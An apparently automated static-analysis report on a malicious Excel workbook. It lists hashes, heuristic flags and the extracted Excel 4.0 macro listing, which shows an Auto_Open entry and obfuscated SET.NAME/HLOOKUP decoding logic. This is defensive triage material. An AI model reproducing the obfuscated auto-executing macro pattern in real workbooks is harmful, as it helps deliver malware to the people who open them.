Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e53d93a600a04cf8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:21 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 95caeacda43d08f54acb677f63349e1a SHA-1: 6e13aae62ab6319d4c3108ec5c2a48bdefffa43f SHA-256: e53d93a600a04cf8728be5d000266eda4808aeab60f867935996ff0c3e2d11a0
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6895 bytes
SHA-256: fe888a7ccd57a566c01c7ca3b1fbb30128ba5a7fb3d4c19cd52a0f868716e897
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'DWANZrDPEKYo') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xTchqxaqQSi
' 0018     20 LABEL : Cell Value, String Constant - aBFwA len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D178 
' 0018     24 LABEL : Cell Value, String Constant - bYZTxmNgm len=0 
' 0018     27 LABEL : Cell Value, String Constant - DWANZrDPEKYo len=0 
' 0018     21 LABEL : Cell Value, String Constant - DXalSQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - fCawmfqXKv len=0 
' 0018     26 LABEL : Cell Value, String Constant - FSlGKaXYSMl len=0 
' 0018     26 LABEL : Cell Value, String Constant - fYEOBMZlptr len=0 
' 0018     24 LABEL : Cell Value, String Constant - HfbLuHBAE len=0 
' 0018     20 LABEL : Cell Value, String Constant - hhSHu len=0 
' 0018     21 LABEL : Cell Value, String Constant - HtMRKC len=0 
' 0018     27 LABEL : Cell Value, String Constant - igSbTBDjulph len=0 
' 0018     27 LABEL : Cell Value, String Constant - iSEkpTWgcDYD len=0 
' 0018     21 LABEL : Cell Value, String Constant - iyTDLr len=0 
' 0018     26 LABEL : Cell Value, String Constant - JGlfVcVMmoD len=0 
' 0018     24 LABEL : Cell Value, String Constant - MeAlDFyHS len=0 
' 0018     26 LABEL : Cell Value, String Constant - MolLFWZnPeS len=0 
' 0018     21 LABEL : Cell Value, String Constant - OxesSi len=0 
' 0018     22 LABEL : Cell Value, String Constant - RJgXmlm len=0 
' 0018     24 LABEL : Cell Value, String Constant - sVunuypRl len=0 
' 0018     25 LABEL : Cell Value, String Constant - VSvcsaNEDf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xTchqxaqQSi,S42,"",217.00000000000000000000
'  xTchqxaqQSi,S43,"",661.00000000000000000000
'  xTchqxaqQSi,S44,"",-719.00000000000000000000
'  xTchqxaqQSi,S45,"",-84.00000000000000000000
'  xTchqxaqQSi,S46,"",848.00000000000000000000
'  xTchqxaqQSi,S47,"",662.00000000000000000000
'  xTchqxaqQSi,D84,"SET.NAME("iSEkpTWgcDYD",0+VALUE("0"))",""
'  xTchqxaqQSi,D88,"SET.NAME("FSlGKaXYSMl",iSEkpTWgcDYD)",""
'  xTchqxaqQSi,D93,"SET.NAME("iyTDLr",iSEkpTWgcDYD)",""
'  xTchqxaqQSi,D97,"SET.NAME("VSvcsaNEDf",COUNTA(fYEOBMZlptr))",""
'  xTchqxaqQSi,D99,"SET.NAME("DXalSQ",COUNTA(aBFwA))",""
'  xTchqxaqQSi,D104,[],""
'  xTchqxaqQSi,D109,"SET.NAME("MolLFWZnPeS","")",""
'  xTchqxaqQSi,D113,"FSlGKaXYSMl",""
'  xTchqxaqQSi,D117,"SET.NAME("igSbTBDjulph",HLOOKUP("*",fYEOBMZlptr,FSlGKaXYSMl,FALSE))",""
'  xTchqxaqQSi,D120,"OxesSi",""
'  xTchqxaqQSi,D122,"SET.NAME("bYZTxmNgm",iSEkpTWgcDYD)",""
'  xTchqxaqQSi,D124,[],""
'  xTchqxaqQSi,D129,"bYZTxmNgm",""
'  xTchqxaqQSi,D132,"HfbLuHBAE",""
'  xTchqxaqQSi,D135,"RJgXmlm",""
'  xTchqxaqQSi,D139,"MeAlDFyHS",""
'  xTchqxaqQSi,D142,"SET.NAME("DWANZrDPEKYo",VALUE(HLOOKUP("*",aBFwA,MeAlDFyHS,FALSE)))",""
'  xTchqxaqQSi,D147,"sVunuypRl",""
'  xTchqxaqQSi,D152,"MolLFWZnPeS",""
'  xTchqxaqQSi,D154,"iyTDLr",""
'  xTchqxaqQSi,D156,NEXT(),""
'  xTchqxaqQSi,D159,"JGlfVcVMmoD",""
'  xTchqxaqQSi,D163,[],""
'  xTchqxaqQSi,D166,"HtMRKC",""
'  xTchqxaqQSi,D170,NEXT(),""
'  xTchqxaqQSi,D175,RETURN(),""
'  xTchqxaqQSi,D205,"SET.NAME("hhSHu",D84)",""
'  xTchqxaqQSi,D207,"fYEOBMZlptr",""
'  xTchqxaqQSi,D212,"SET.NAME("aBFwA",R65C15)",""
'  xTchqxaqQSi,D217,"SET.NAME("HtMRKC",222)",""
'  xTchqxaqQSi,D219,"SET.NAME("fCawmfqXKv",4)",""
'  xTchqxaqQSi,D221,hhSHu(),""
'  xTchqxaqQSi,D222,HALT(),""

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